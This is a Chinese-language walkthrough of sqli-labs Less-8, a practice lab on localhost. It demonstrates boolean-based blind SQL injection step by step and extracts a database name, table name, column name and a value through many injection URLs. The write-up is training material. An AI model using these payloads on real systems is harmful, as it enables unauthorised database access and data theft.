开启靶场环境
浏览器访问,选择第八关
根据关卡介绍,改关卡提示使用布尔盲注
进入关卡环境,根据页面提示传入参数
127.0.0.1/sqli-labs-master/Less-8/?id=1
127.0.0.1/sqli-labs-master/Less-8/?id='
页面回显错误,说明成功代入数据库执行。但是没有返回报错信息,说明该关卡属于无回显
进一步确定注入点是否存在并测试参数值是否使用符号过滤,当成功闭合符号后and 1=1页面回显正常,and 1=2页面回显错误
127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=1 --+ //页面回显正常
127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=2 --+ //页面回显错误
select * from users where id=1 and 1=1
and连接的两个语句都为真时,该语句返回true,当有一个为假时,语句返回false。而前半部分语句恒为真,所以在使用布尔盲注时要将1=1修改为1=SQL语句。当此SQL语句为真时,页面返回正常,反之返回错误。以此来确定信息是否正确
mysql中length()函数用于获取字符串的长度
使用length()函数猜测数据库名长度
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length(database())>8) --+ //页面返回错误
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length(database())=8) --+ //页面返回正常
接下来使用ascii()函数和substr()函数爆破数据库名及其他信息
ascii():返回指定字符的 ASCII 码。
substr():SUBSTR(<字符表达式>、<数值表达式1>[,<数值表达式2>]。该函数具有三个参数
如:substr(database(),x,1):返回数据库名的第x个字符,一次返回一个字符。要猜测第二个字符只需修改x(1,2,3…)值即可
获取数据库名
我们使用二分法猜测数据库名各个字符的ASCII码值
猜测数据库名第一个字符ASCII码值是否大于100
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>100) --+
页面回显正常,说明条件正确
猜测数据库名第一个字符ASCII码值大于110
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>110) --+
页面回显正常,条件正确
猜测数据库名第一个字符ASCII码值大于120
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>120) --+
页面回显错误,条件不正确
猜测数据库名第一个字符ASCII码值大于115
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>115) --+
页面回显错误,条件不正确
猜测数据库名第一个字符ASCII码值大于114
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>114) --+
页面回显正常,条件正确
数据库名第一个字符ASCII码值大于114正确,大于115错误,所以我们猜测数据库名第一个字符ASCII码值为115
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))=115) --+
页面回显正常,条件正确
对照ASCII值码表,115对应字符’s’,所以数据库名第一个字符为s。
猜测数据库名第二个字符ASCII码值,只需将substr(database(),1,1)中的第一个1修改为2即可,之后为3,4…
猜测数据库名第二个字符ASCII码值大于100,页面回显正常,条件正确
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))>100) --+
猜测数据库名第二个字符ASCII码值大于105,页面回显错误,条件不正确
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))>105) --+
猜测数据库名第二个字符ASCII码值大于101,页面回显错误,条件不正确
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))>101) --+
当ASCII码值大于100时正确,大于101时错误,所以猜测数据库名第二个字符ASCII码值等于101,页面回显正常,条件正确,101对应ASCII码表为字符’e’
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))=101) --+
按照这种方法最终获取数据库名为:security
获取数据库下的第一个表名,使用limit x,1限制返回个数和具体返回哪一个
确定第一个表名长度,当等于6时页面回显正常,第一个表名长度为6
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6) --+
猜测数据库下的第一个表名第一个字符ASCII码值大于97,页面回显正常,条件正确
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97) --+
limit 0,1:返回数组中的第一个值并且一次返回一个
不断更换条件值,直到使用等于号页面回显正常
第一个表名的第一个字符为’e’
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) --+
按照这种方法,使用大于号和等于号并不断更换条件值,获取不同位置字符的ASCII码值
第一个表名为:emails
获取emails表下的第一个列明信息
获取第一个列名长度,条件值等于2时,页面回显正常,条件正确,第一个列名长度为2
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2) --+
获取列名第一个字符
条件值等于105时页面回显正常,条件正确。105——>‘i’
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105) --+
获取列名第二个字符
条件值等于100,页面回显正常,条件正确。100——>‘d’
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))=100) --+
当获取第三个字符时不管用什么条件值页面都回显错误,原因在于列名只有两个字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),3,1))>1) --+
获取id字段下的字段值
确定第一个字段值长度
条件值等于1时页面回显正常,条件正确,第一个字段值长度为1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length((select id from emails limit 0,1))=1) --+
获取字段值
条件值为49时页面回显正常,条件正确。49——>‘1’
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select id from emails limit 0,1),1,1))=49) --+
布尔盲注的原理时使用条件语句确定返回值为True或者为Flase,当返回值为True时页面回显正常,为False时页面回显错误以此来判断查询的信息是否正确。